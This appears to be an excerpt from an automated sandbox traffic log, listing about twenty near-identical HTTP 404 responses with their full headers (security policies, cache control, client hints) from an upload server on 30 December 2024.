Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5T1N7q-7UOUebp9wQmH8fuoClZyg7s-3qyj6JaoIN_F4r7hz5RLDDRYY2k6jusId-GR6xCGPUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-J7mT4MINVBsFLD6BNePS4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC487xoziuVIiBg2PZFi2e7lZM5bZl13ln_V2xCbOJYAiwk0wVJul3rhLeJtO09HdRt0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:44 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-KvHGt2-bJd2g44Aiwv4EFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5D_wel_jO1Ll14h3cmavuzQX0nYDdA6yJY5Jhau4OD6aVl0p81nAeWp_gmEiHoZ7JhG1U6t4oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:45 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-roQxYdMCqMzyqOh37rxzgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7EVIlzkjxUI1__tV7PE5gdxaHa7nqx8Nd22JRB_7Ek0NQ4GzNyrDZWiBCv-XirqkzZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-X5JOnnXIuxziIOsRIDhCpw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Lde3q0868wBdQ88wcVrVkmR4U-POtGESgJOlo3JZpiTKQ3UEYhNUmaJhrF8i_LRxZeILOlWEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:46 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-xYrjFv4ldXXchJqLpaSkPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59tvijUtHVyGcfQsjWDaDCmNVKj6thxlPxgloY3nOVjf8qCfRPL-GQwo1yY0GoBc97Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-4btERR2wdUUQcUaxbeaJlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5R4oMSnG2e7UNBwiWpSI8TVQw280TCZiwBDlNW_UNTF0kf_IjFMyiexurE0Z63brjKBPYH1WkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:47 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VOfcs1cMH5lFLJlN7OLsOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7l4CKu-PGc2ZPPLV6-cnbVskccBrABP6Gmoy3wYrqyCkSbAjGrhcnBNHhY5TZTYp4EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:47 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-JTMs95eRHsd66gAamLkXXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7z-vNvTIpBCVwFvDoKS6pxBIW0YAmqK1haoWoThZcqDpvJrzFwIYxMbj8a88hqQNxBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:49 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-th5rsI9IGW7AKNZ2fwc92A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7WfC11_PcMqKMMiLIWnYOeOmFeYunBt0tkKHVLwIl2UTX7Tyq1dI0C5zAdUYqImOQSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-A-Sab2VZgPbM9-ctgvSEDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4sXj9u1A2PAlpJObLIg4uLkEOz3V837VTq4X7islAMooWPUNeIDxbyaWmWtNsSPUpTContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:50 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GL6s18VaJEvnsL6IObDo6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7GuPr7-kl7YKlJyNwEoH8na3W1f3PDKKTNk3c-JaGKN1Fba3750qQH5luJbVwXdPXZdwjJgA8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-jPdBrjjLStWX6YDlxX4jcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7KQAnjCyicpptDaywV_HgpUQ46hTPwMv1grwG83K5NxAPJ7JrHda_WDkQjCV7_29MqContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:51 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-81IjRRRVSNKvJI8ASewLlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4q5UtFVZX0WTIHDwGRUnGBJ04uNk1wfBiJO-FiJ-rGy-3xBH5olKnwHqniGVBMvLjbContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-aye0TrP4sPHFNoZENbjd0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5iurk22mQ8f-mjnjAKOmfh6bT4msqFcTiMSqywCH4Z45ndD6djT0vZ33_UzPkmtsx8rGhcoygContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:54 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OoD2vtCNqD00ccs0V0PMQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4hkMR6wq5NGRzjsMFcnfHoohYzMZePXtJzKgGTQvQt7tMW6LotP4-lSKqRRZNfe_2PvpfEYuAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:54 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1QiqpYdtPT0_GlT4FDp-Eg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5gkwcj0XunA9QYaob3VRTZcSZklFCqqy4cBeU88I6hSm4YFxYP7J0Kgdx6PKvELLeirWIz0AUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:55 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eGbD1SzMxIC6mAOLC9GR3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Ty_ZVch2HjrtB_rYX3okMaSFj2JcZErnf9hraqQ9au0F77O-ypa-zgErlUSHuD_wMnHH5yggContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:55 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-BZVZ91-2BqMoKjP3vDcqPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6eZJRveoDdKzv8IHeju0J25ypnEjiUYivJqmcA_W55_IuB2mzE-ywZ8hQf_nU9L8ks3NArV4MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:56 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-rNQxzezGpqkANAeSixjHew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6SrJR-W5CI_3ZtSysrbZblIdBbEJJksSeDtWrUz3lDhczGeYslmWXjS7xlvPK2MhaBu3a8YI0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:56 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JQk1RWOsEd3f74htEtgLXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
